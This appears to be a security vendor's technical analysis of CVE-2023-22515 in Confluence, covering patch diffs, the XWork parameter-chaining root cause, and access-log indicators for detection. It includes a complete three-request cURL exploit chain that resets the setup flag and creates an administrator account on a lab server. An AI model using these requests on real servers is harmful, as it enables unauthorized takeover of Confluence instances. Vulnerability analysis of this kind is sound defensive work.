On October 4, 2023, Atlassian released an advisory for CVE-2023-22515, a critical vulnerability affecting on-premises instances of Confluence Server and Confluence Data Center. Atlassian initially described this vulnerability as a Privilege Escalation, but they have since recategorised it as a Broken Access Control vulnerability. Attlassian has provided a CVSS base score of 10.0, which appears appropriate based on our analysis.
Atlassian indicated that this vulnerability was exploited in the wild as a zero-day vulnerability, prior to their knowledge or a patch being available. The observed attacker behavior included leveraging CVE-2023-22515 to create a new administrator user, but we believe that this is not the only way the vulnerability could be used.
Our analysis concludes that this vulnerability is remotely exploitable by an unauthenticated attacker, and can be leveraged to create a new administrator account on the target Confluence server. This can lead to a total loss of integrity and confidentiality of the data held in the server. Since the root cause of the vulnerability allows an attacker to modify critical configuration settings, an attacker may not be limited to creating a new administrator — there may be further avenues of exploitation available. An OWASP classification of Injection, (i.e. CWE-20: Improper Input Validation) seems more appropriate than Broken Access Control, as access control implies the use of either authentication or authorization as part of the vulnerability’s root cause. Our analysis indicates that the root cause lies in the lack of correct filtering in the SafeParametersInterceptor
class.
We begin to explore this vulnerability by diffing the most recent vulnerable version of the software, version 8.5.1, against the patched version, 8.5.2. We extracted all the JAR files and decompiled their contents with the CFR
decompiler. The following changes are notable and form the basis of our investigation.
The first thing we identify is the class com.atlassian.xwork.interceptors.SafeParametersInterceptor
has been significantly modified, as shown below. Confluence is a very large Java application that is built upon the Apache Struts framework. As part of this, the XWork2
framework is used. The XWork framework allows setting parameters on Java objects via HTTP parameters provided in a HTTP request. This is a known security concern for Confluence, and has been documented here.
XWork allows the setting of complex parameters on an XWork action object. For example, a URL parameter of formData.name=Charles will be translated by XWork into the method calls getFormData().setName(“Charles”) by the XWork parameters interceptor. If getFormData() returns null, XWork will attempt to create a new object of the appropriate return type using its default constructor, and then set it with setFormData(newObject).
This leads to the potential for serious security vulnerabilities in XWork actions, as you can effectively call arbitrary methods on an Action object.
Seeing the SafeParametersInterceptor
class appear in the diff for this vulnerability indicates this may be an avenue for attack. The SafeParametersInterceptor
class attempts to filter what parameters may be set by incoming HTTP requests.
--- "a/\\Confluence\\8.5.1\\com\\atlassian\\xwork\\interceptors\\SafeParametersInterceptor.java" +++ "b/\\Confluence\\8.5.2\\com\\atlassian\\xwork\\interceptors\\SafeParametersInterceptor.java" @@ -2,174 +2,74 @@ * Decompiled with CFR 0.152. * * Could not load the following classes: - * com.opensymphony.xwork2.Action - * com.opensymphony.xwork2.ActionContext - * com.opensymphony.xwork2.ActionInvocation - * com.opensymphony.xwork2.interceptor.NoParameters * com.opensymphony.xwork2.interceptor.ParametersInterceptor - * com.opensymphony.xwork2.util.ValueStack - * org.apache.struts2.dispatcher.HttpParameters * org.slf4j.Logger * org.slf4j.LoggerFactory */ package com.atlassian.xwork.interceptors; import com.atlassian.xwork.ParameterSafe; -import com.opensymphony.xwork2.Action; -import com.opensymphony.xwork2.ActionContext; -import com.opensymphony.xwork2.ActionInvocation; -import com.opensymphony.xwork2.interceptor.NoParameters; import com.opensymphony.xwork2.interceptor.ParametersInterceptor; -import com.opensymphony.xwork2.util.ValueStack; import java.beans.BeanInfo; import java.beans.IntrospectionException; import java.beans.Introspector; import java.beans.PropertyDescriptor; import java.lang.reflect.Method; -import java.util.Arrays; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Map; -import java.util.Set; import java.util.regex.Pattern; -import org.apache.struts2.dispatcher.HttpParameters; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class SafeParametersInterceptor extends ParametersInterceptor { public static final Logger log = LoggerFactory.getLogger(SafeParametersInterceptor.class); - public static final String PARAMETER_NAME_BLOCKED = "Parameter name blocked: "; - private static final Pattern EXCLUDE_CLASS_PATTERN = Pattern.compile(".*class[^a-z0-9_].*", 2); - private static final Pattern SAFE_PARAMETER_NAME_PATTERN = Pattern.compile("\\w+((\\.\\w+)|(\\[\\d+\\])|(\\['[\\w.]*'\\]))*"); - private static final Set<String> BLOCKED_PARAMETER_NAMES = new HashSet<String>(Arrays.asList("actionErrors", "actionMessages")); - private static final Pattern MAP_PARAMETER_PATTERN = Pattern.compile(".*\\['[a-zA-Z0-9_]+'\\]"); - private boolean disableAnnotationChecks = false; + private static final Pattern MAP_PARAMETER_PATTERN = Pattern.compile(".*\\['\\w+']"); - protected void after(ActionInvocation dispatcher, String result) throws Exception { + protected boolean isAcceptableParameter(String name, Object action) { + return super.isAcceptableParameter(name, action) && SafeParametersInterceptor.isSafeComplexParameter(name, action); } - public void setDisableAnnotationChecks(boolean disableAnnotationChecks) { - this.disableAnnotationChecks = disableAnnotationChecks; - } - - public String doIntercept(ActionInvocation invocation) throws Exception { - this.before(invocation); - return super.doIntercept(invocation); - } - - protected boolean shouldNotIntercept(ActionInvocation actionInvocation) { - return actionInvocation.getAction() instanceof NoParameters; - } - - /* - * WARNING - Removed try catching itself - possible behaviour change. - */ - protected void before(ActionInvocation invocation) throws Exception { - if (this.shouldNotIntercept(invocation)) { - return; + public static boolean isSafeComplexParameter(String key, Object action) { + BeanInfo beanInfo; + if (!SafeParametersInterceptor.isComplexParameter(key)) { + return true; } - Action action = (Action)invocation.getAction(); - Map<String, Object> parameters = this.filterSafeParameters(this.retrieveParameters(invocation.getInvocationContext()), action); - if (log.isDebugEnabled()) { - log.debug("Setting params " + parameters); - } - ActionContext invocationContext = invocation.getInvocationContext(); try { - invocationContext.put("xwork.NullHandler.createNullObjects", (Object)Boolean.TRUE); - invocationContext.put("xwork.MethodAccessor.denyMethodExecution", (Object)Boolean.TRUE); - invocationContext.put("report.conversion.errors", (Object)Boolean.TRUE); - if (parameters != null) { - ValueStack stack = ActionContext.getContext().getValueStack(); - for (Map.Entry<String, Object> entry : parameters.entrySet()) { - Long number; - String name = entry.getKey(); - if (SafeParametersInterceptor.isNumeric(name) && (number = Long.valueOf(Long.parseLong(name))) > Integer.MAX_VALUE) { - name = name + 'L'; - } - stack.setValue(name, entry.getValue()); - } - } + beanInfo = Introspector.getBeanInfo(action.getClass()); } - finally { - invocationContext.put("xwork.NullHandler.createNullObjects", (Object)Boolean.FALSE); - invocationContext.put("xwork.MethodAccessor.denyMethodExecution", (Object)Boolean.FALSE); - invocationContext.put("report.conversion.errors", (Object)Boolean.FALSE); - } - } - - private Map<String, Object> filterSafeParameters(HttpParameters parameters, Action action) { - HashMap<String, Object> safeParameters = new HashMap<String, Object>(); - parameters.entrySet().stream().filter(entry -> SafeParametersInterceptor.isSafeParameterName((String)entry.getKey(), action, this.disableAnnotationChecks)).forEach(entry -> safeParameters.put((String)entry.getKey(), entry.getValue())); - return safeParameters; - } - - static boolean isSafeParameterName(String key, Action action) { - return SafeParametersInterceptor.isSafeParameterName(key, action, true); - } - - static boolean isSafeParameterName(String key, Action action, boolean disableAnnotationChecks) { - if (BLOCKED_PARAMETER_NAMES.contains(key)) { - return false; - } - if (EXCLUDE_CLASS_PATTERN.matcher(key).matches()) { - log.info(PARAMETER_NAME_BLOCKED + key); + catch (IntrospectionException e) { + log.warn("Error introspecting action parameter {} for action {}", new Object[]{key, action, e}); return false; } - if (!SAFE_PARAMETER_NAME_PATTERN.matcher(key).matches()) { + String operatingParameter = SafeParametersInterceptor.extractOperatingParameterName(key); + for (PropertyDescriptor desc : beanInfo.getPropertyDescriptors()) { + if (!desc.getName().equals(operatingParameter)) continue; + if (SafeParametersInterceptor.isMethodDesignatedSafe(desc.getReadMethod())) { + return true; + } + log.warn("Attempt to call unsafe property setter {} on {}", (Object)key, action); return false; } - if (!disableAnnotationChecks && (key.contains(".") || MAP_PARAMETER_PATTERN.matcher(key).matches())) { - return SafeParametersInterceptor.isSafeComplexParameterName(key, action); - } - return true; + return false; } - private static boolean isSafeComplexParameterName(String key, Action action) { - try { - PropertyDescriptor[] descs; - String initialParameterName = SafeParametersInterceptor.extractInitialParameterName(key); - BeanInfo info = Introspector.getBeanInfo(action.getClass()); - for (PropertyDescriptor desc : descs = info.getPropertyDescriptors()) { - if (!desc.getName().equals(initialParameterName)) continue; - if (SafeParametersInterceptor.isSafeMethod(desc.getReadMethod())) { - return true; - } - log.info("Attempt to call unsafe property setter " + key + " on " + action); - return false; - } - } - catch (IntrospectionException e) { - log.warn("Error introspecting action parameter " + key + " for action " + action + ": " + e.getMessage(), (Throwable)e); - } - return false; + private static boolean isComplexParameter(String key) { + return key.contains(".") || MAP_PARAMETER_PATTERN.matcher(key).matches(); } - private static String extractInitialParameterName(String key) { + private static String extractOperatingParameterName(String key) { if (!key.contains("[") || key.indexOf(".") > 0 && key.indexOf("[") > key.indexOf(".")) { return key.substring(0, key.indexOf(".")); } return key.substring(0, key.indexOf("[")); } - private static boolean isSafeMethod(Method writeMethod) { - boolean isAnnotationTrue = false; - boolean isReturnTypeTrue = false; - if (writeMethod != null) { - boolean bl = isAnnotationTrue = writeMethod.getAnnotation(ParameterSafe.class) != null; - } - if (writeMethod.getReturnType() != null) { - isReturnTypeTrue = writeMethod.getReturnType().getAnnotation(ParameterSafe.class) != null; - } - return isAnnotationTrue || isReturnTypeTrue; - } - - private static boolean isNumeric(String str) { - for (char c : str.toCharArray()) { - if (Character.isDigit(c)) continue; + private static boolean isMethodDesignatedSafe(Method readMethod) { + if (readMethod == null) { return false; } - return true; + boolean isMethodAnnotated = readMethod.getAnnotation(ParameterSafe.class) != null; + boolean isReturnTypeAnnotated = readMethod.getReturnType().getAnnotation(ParameterSafe.class) != null; + return isMethodAnnotated || isReturnTypeAnnotated; } }
We also see the com.atlassian.confluence.impl.setup.BootstrapStatusProviderImpl
class has been modified. Both the getApplicationConfig
and getSetupPersister
methods have been changed. The patched version of these methods both return a wrapped object which, according to the naming convention used, is designated read only.
--- "a/\\Confluence\\8.5.1\\com\\atlassian\\confluence\\impl\\setup\\BootstrapStatusProviderImpl.java" +++ "b/\\Confluence\\8.5.2\\com\\atlassian\\confluence\\impl\\setup\\BootstrapStatusProviderImpl.java" @@ -16,6 +16,8 @@ import com.atlassian.config.db.HibernateConfig; import com.atlassian.config.db.HibernateConfigurator; import com.atlassian.config.setup.SetupPersister; import com.atlassian.config.util.BootstrapUtils; +import com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig; +import com.atlassian.confluence.impl.setup.ReadOnlySetupPersister; import com.atlassian.confluence.setup.BootstrapManagerInternal; import com.atlassian.confluence.setup.BootstrapStatusProvider; import com.atlassian.confluence.setup.BootstrapStatusProviderException; @@ -93,12 +95,12 @@ BootstrapManagerInternal { @Override public ApplicationConfiguration getApplicationConfig() { - return this.delegate.getApplicationConfig(); + return new ReadOnlyApplicationConfig(this.delegate.getApplicationConfig()); } @Override public SetupPersister getSetupPersister() { - return this.delegate.getSetupPersister(); + return new ReadOnlySetupPersister(this.delegate.getSetupPersister()); } @Override
Exploring the new com.atlassian.confluence.impl.setup.ReadOnlyApplicationConfig
class, we can see it uses the Delegation (also called Proxy) design pattern to forward calls to a delegate object whilst overriding some methods to enforce a read-only interface.
--- "a/\\Confluence\\8.5.1\\com\\atlassian\\confluence\\impl\\setup\\ReadOnlyApplicationConfig.java" +++ "b/\\Confluence\\8.5.2\\com\\atlassian\\confluence\\impl\\setup\\ReadOnlyApplicationConfig.java" @@ -0,0 +1,175 @@ +/* + * Decompiled with CFR 0.152. + */ +package com.atlassian.confluence.impl.setup; + +import com.atlassian.config.ApplicationConfiguration; +import com.atlassian.config.ConfigurationException; +import com.atlassian.config.ConfigurationPersister; +import java.util.HashMap; +import java.util.Map; + +public class ReadOnlyApplicationConfig +implements ApplicationConfiguration { + private final ApplicationConfiguration delegate; + + public ReadOnlyApplicationConfig(ApplicationConfiguration delegate) { + this.delegate = delegate; + } + + @Override + public String getApplicationHome() { + return this.delegate.getApplicationHome(); + } + + @Override + public void setApplicationHome(String home) throws ConfigurationException { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public boolean isApplicationHomeValid() { + return this.delegate.isApplicationHomeValid(); + } + + @Override + public void setProperty(Object key, Object value) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public void setProperty(Object key, int value) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public void setProperty(Object key, boolean value) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public Object getProperty(Object key) { + return this.delegate.getProperty(key); + } + + @Override + public boolean getBooleanProperty(Object key) { + return this.delegate.getBooleanProperty(key); + } + + @Override + public int getIntegerProperty(Object key) { + return this.delegate.getIntegerProperty(key); + } + + @Override + public Object removeProperty(Object key) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public Map getProperties() { + return new HashMap(this.delegate.getProperties()); + } + + @Override + public String getBuildNumber() { + return this.delegate.getBuildNumber(); + } + + @Override + public void setBuildNumber(String build) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public int getMajorVersion() { + return this.delegate.getMajorVersion(); + } + + @Override + public void setMajorVersion(int majorVersion) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public int getMinorVersion() { + return this.delegate.getMinorVersion(); + } + + @Override + public void setMinorVersion(int minorVersion) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public String getApplicationVersion() { + return this.delegate.getApplicationVersion(); + } + + @Override + public Map getPropertiesWithPrefix(String prefix) { + return this.delegate.getPropertiesWithPrefix(prefix); + } + + @Override + public boolean isSetupComplete() { + return this.delegate.isSetupComplete(); + } + + @Override + public void setSetupComplete(boolean setupComplete) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public void setConfigurationPersister(ConfigurationPersister config) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public void save() throws ConfigurationException { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public void reset() { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public String getSetupType() { + return this.delegate.getSetupType(); + } + + @Override + public void setSetupType(String setupType) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public String getCurrentSetupStep() { + return this.delegate.getCurrentSetupStep(); + } + + @Override + public void setCurrentSetupStep(String currentSetupStep) { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public void load() throws ConfigurationException { + throw new UnsupportedOperationException("Mutation not allowed"); + } + + @Override + public boolean configFileExists() { + return this.delegate.configFileExists(); + } + + @Override + public void setConfigurationFileName(String configurationFileName) { + throw new UnsupportedOperationException("Mutation not allowed"); + } +} +
Of particular interest is the method setSetupComplete
. As we know from the advisory, the vulnerability was exploited to perform actions in the setup endpoints of a Confluence server. We can see below that the patched version prevents changing the setup complete value, i.e. marking the Confluence servers setup as being not-yet complete.
@Override public void setSetupComplete(boolean setupComplete) { throw new UnsupportedOperationException("Mutation not allowed"); }
Finally we can note that the Struts action server-info
has been removed along with the accompanying Java class com.atlassian.confluence.core.actions.ServerInfoAction
. This action can be reached via the URI /server-info.action
.
--- "a/\\Confluence\\atlassian-confluence-8.5.1\\confluence\\WEB-INF\\lib\\com.atlassian.confluence_confluence-8.5.1\\struts.xml" +++ "b/\\Confluence\\atlassian-confluence-8.5.2\\confluence\\WEB-INF\\lib\\com.atlassian.confluence_confluence-8.5.2\\struts.xml" @@ -14,7 +14,8 @@ <constant name="struts.action.excludePattern" value="^/rest/.*,^/plugins/servlet/.*"/> <constant name="struts.xwork.chaining.copyErrors" value="true"/> <constant name="struts.i18n.reload" value="${confluence.i18n.reloadbundles}"/> - <constant name="struts.additional.excludedPatterns" value="^action(Errors|Messages)"/> + <constant name="struts.additional.excludedPatterns" value="action(Errors|Messages)"/> + <constant name="struts.override.acceptedPatterns" value="\w+((\.\w+)|(\[\d+])|(\['\w+']))*"/> <constant name="struts.disableRequestAttributeValueStackLookup" value="true"/> <!-- struts.action.chaining.variable.translation.enabled is a custom property implemented in Atlassian's fork of Struts 2.5.30 --> <constant name="struts.action.chaining.variable.translation.enabled" value="false"/> @@ -495,9 +496,6 @@ <result name="success" type="velocity-xml">/admin/longrunningtask-xml.vm</result> </action> - <action name="server-info" class="com.atlassian.confluence.core.actions.ServerInfoAction"> - <result name="success" type="rawText">success</result> - </action> </package> <package name="ajax" extends="default" namespace="/ajax">
--- "a/\\Confluence\\8.5.1\\com\\atlassian\\confluence\\core\\actions\\ServerInfoAction.java" +++ "b/\\Confluence\\8.5.2\\com\\atlassian\\confluence\\core\\actions\\ServerInfoAction.java" @@ -1,25 +0,0 @@ -/* - * Decompiled with CFR 0.152. - * - * Could not load the following classes: - * com.atlassian.xwork.HttpMethod - * com.atlassian.xwork.PermittedMethods - */ -package com.atlassian.confluence.core.actions; - -import com.atlassian.annotations.security.XsrfProtectionExcluded; -import com.atlassian.confluence.core.ConfluenceActionSupport; -import com.atlassian.confluence.security.access.annotations.PublicAccess; -import com.atlassian.xwork.HttpMethod; -import com.atlassian.xwork.PermittedMethods; - -public class ServerInfoAction -extends ConfluenceActionSupport { - @PermittedMethods(value={HttpMethod.ANY_METHOD}) - @XsrfProtectionExcluded - @PublicAccess - public String execute() throws Exception { - return "success"; - } -} -
While not obvious from reading the diff above, we must note that the class com.atlassian.confluence.core.actions.ServerInfoAction
extends the class com.atlassian.confluence.core.ConfluenceActionSupport
. This will be important during exploitation.
Examining the artifacts from both the Atlassian advisory and the patch diffing, we can begin to identify the vulnerability. It appears an attacker can modify the Confluence server’s configuration to indicate that server setup has not been completed. If this is done, the attacker can then leverage the server setup endpoint /setup/setupadministrator.action
(as mentioned in the vendor advisory) to create a new administrator user. As we see the class SafeParametersInterceptor
being modified, we can assume that this is the avenue that allows for modifying the server configuration, specifically via the ApplicationConfiguration
class, as the diff shows new read-only restrictions have been added.
When installing a new Confluence server, the setup process to configure the server, such as connecting to a database and creating the default administrator user, is performed via a web browser and several HTTP requests to endpoints located within the URI path /setup/
. A new administrator account is created by a HTTP POST request to the /setup/setupadministrator.action
endpoint. After setup has been completed, all setup endpoints are prevented from being called.
For example, the following cURL request to create a new administrator will fail with an error message that reads “Your confluence instance is already completely set up.”
. Note, the X-Atlassian-Token: no-check
header allows us to avoid the XSRF check, as implemented in the com.atlassian.xwork.interceptors.XsrfTokenInterceptor
.
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=haxor&fullName=haxor&email=haxor%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://192.168.86.50:8090/setup/setupadministrator.action
To understand why this is happening, we explore the application’s struts.xml
file. This file contains a list of interceptors. These interceptors execute before (and after) a Struts Action (such as /setup/setupadministrator.action
) is executed. One such interceptor is SetupCheckInterceptor
.
<struts> <!-- ...snip... --> <package name="default"> <!-- ...snip... --> <interceptors> <!-- ...snip... --> <interceptor name="setup" class="com.atlassian.confluence.setup.actions.SetupCheckInterceptor"/>
We can see below that the SetupCheckInterceptor
will test BootstrapUtils.getBootstrapManager().isSetupComplete()
as part of the check to determine if the Confluence server is already set up.
package com.atlassian.confluence.setup.actions; import com.atlassian.config.util.BootstrapUtils; import com.atlassian.spring.container.ContainerManager; import com.opensymphony.xwork2.ActionInvocation; import com.opensymphony.xwork2.interceptor.Interceptor; public class SetupCheckInterceptor implements Interceptor { public static final String ALREADY_SETUP = "alreadysetup"; public void destroy() {} public void init() {} public String intercept(ActionInvocation actionInvocation) throws Exception { if (BootstrapUtils.getBootstrapManager().isSetupComplete() && ContainerManager.isContainerSetup()) // <–-- return "alreadysetup"; return actionInvocation.invoke(); } }
Examining the implementation of DefaultAtlassianBootstrapManager.isSetupComplete
we can see that the application configuration method isSetupComplete
is called to check if the setup has been completed.
public class DefaultAtlassianBootstrapManager implements AtlassianBootstrapManager { // ...snip... public boolean isSetupComplete() { return (isBootstrapped() && this.applicationConfig.isSetupComplete()); // <–-- } // ...snip... }
If we can make isSetupComplete
return false, then SetupCheckInterceptor
will not return “alreadysetup” and the setup endpoints, such as /setup/setupadministrator.action
will become accessible.
As we already saw from diffing the patch, the class com.atlassian.confluence.impl.setup.BootstrapStatusProviderImpl
was modified to enforce a read-only application configuration. We therefore want to target the application configuration instance and call its setSetupComplete
method with a parameter of false
. This will make isSetupComplete
return false.
We know we can leverage the XWorks2 feature of supplying HTTP parameters to call setter methods on objects. We need to identify an unauthenticated endpoint whose Action object also exposes a suitable get method that will allow us to access the application configuration.
Remembering the class com.atlassian.confluence.core.actions.ServerInfoAction
, seen during diffing, we explore the base class it inherits from, com.atlassian.confluence.core.ConfluenceActionSupport
.
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware { // ...snip... public BootstrapStatusProvider getBootstrapStatusProvider() { if (this.bootstrapStatusProvider == null) this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); return this.bootstrapStatusProvider; } // ...snip... }
We can see this class has a getter method getBootstrapStatusProvider
which returns the BootstrapStatusProviderImpl
instance we are looking for.
BootstrapStatusProviderImpl
, in turn, has a getter method getApplicationConfig
to return the application’s configuration.
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal { // ...snip... public ApplicationConfiguration getApplicationConfig() { return this.delegate.getApplicationConfig(); } // ...snip... }
Finally, we can see the class com.atlassian.config.ApplicationConfig
implements the setter method setSetupComplete
.
public class ApplicationConfig implements ApplicationConfiguration { public synchronized void setSetupComplete(boolean setupComplete) { this.setupComplete = setupComplete; } }
Putting this all together, we know that from the class com.atlassian.confluence.core.ConfluenceActionSupport
, we would need to call the following chain of methods to set the setupComplete
variable to false.
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false);
As we know XWorks2 will allow us to perform this type of getter/setter sequence, we can construct an HTTP parameter that implements the above chain of method calls using the notation that XWorks2 requires.
bootstrapStatusProvider.applicationConfig.setupComplete=false
Stepping through SafeParametersInterceptor.doIntercept
in a debugger, we can observe that while the parameter we supply is identified and filtered via SafeParametersInterceptor.filterSafeParameters
, this has no effect on the underlying base class ParametersInterceptor
, which will continue to process all the parameters supplied.
Finally, we can trigger the vulnerability with the following cURL request against the unauthenticated /server-info.action
endpoint.
curl -vk http://192.168.86.50:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
By attaching a debugger, we can inspect the call to setSetupComplete(false)
being performed. As shown in the screenshot below, we can see the member variable this.setupComplete
is true
, but the parameter setupComplete
supplied to the method is false
. This is the attacker-controlled value. We can note from the call stack that the method call originates from SafeParametersInterceptor.doIntercept
, which in turn invoked ParametersInterceptor.doIntercept
, which then invoked the complex sequence of operations to reflect into the Action and set a property via the attacker-supplied getter/setter chain.
After the above has completed, we issue a new request to the endpoint /setup/setupadministrator.action
, which will now succeed. A new administrator has been created with a password we control.
curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=haxor&fullName=haxor&email=haxor%40localhost&password=Password2&confirm=Password2&setup-next-button=Next" http://192.168.86.50:8090/setup/setupadministrator.action
To avoid a message being displayed to all users, stating that setup has been completed, we can issue a request to the /setup/finishsetup.action
endpoint.
curl -vk -X POST -H "X-Atlassian-Token: no-check" http://192.168.86.50:8090/setup/finishsetup.action
We can now log into the target Confluence server as the newly created administrator haxor
.
We have seen that the root cause of this vulnerability is the attacker’s ability to perform complex getter/setter chains on the Action object for unauthenticated endpoints, allowing for modification of critical properties. By modifying the setupComplete
variable, the attacker was able to leverage the setup functionality to create a new administrator user. However, the attacker is not limited to this, and it is reasonable to assume there are other avenues of exploitation beyond targeting a specific endpoint such as /server-info.action
which inherits from ConfluenceActionSupport
(as do many other actions), or leveraging the vulnerability to create a new administrator user.
The Confluence access logs, for example C:\Program Files\Atlassian\Confluence\logs\conf_access_log.2023-10-06.log
, will contain log lines for each HTTP requests received. For example:
[06/Oct/2023:04:03:00 -0700] - http-nio-8090-exec-7 192.168.86.34 GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1 200 21ms 27464 - curl/8.0.1 [06/Oct/2023:04:03:08 -0700] - http-nio-8090-exec-1 192.168.86.34 POST /setup/setupadministrator.action HTTP/1.1 302 1167ms - - curl/8.0.1 [06/Oct/2023:04:03:21 -0700] - http-nio-8090-exec-2 192.168.86.34 POST /setup/finishsetup.action HTTP/1.1 200 90ms 4520 - curl/8.0.1
We can see the 3 URI paths from conducting the attack as described in this analysis. The query parameters ?bootstrapStatusProvider.applicationConfig.setupComplete=false
used to modify the application’s configuration are also seen as part of an HTTP GET request. Depending on how the attacker leverages the root cause of the vulnerability, the query parameters may differ. Additionally, if an attacker can locate another suitable unauthenticated endpoint, the URI paths may differ from the above.
Versions prior to 8.0.0 are not affected by this vulnerability. According to Atlassian’s advisory, Atlassian Cloud sites are not affected by this vulnerability. Confluence sites accessed via an atlassian.net domain are hosted by Atlassian and are not vulnerable to this issue.
Fixed versions:
For more information, refer to the Atlassian advisory and release notes.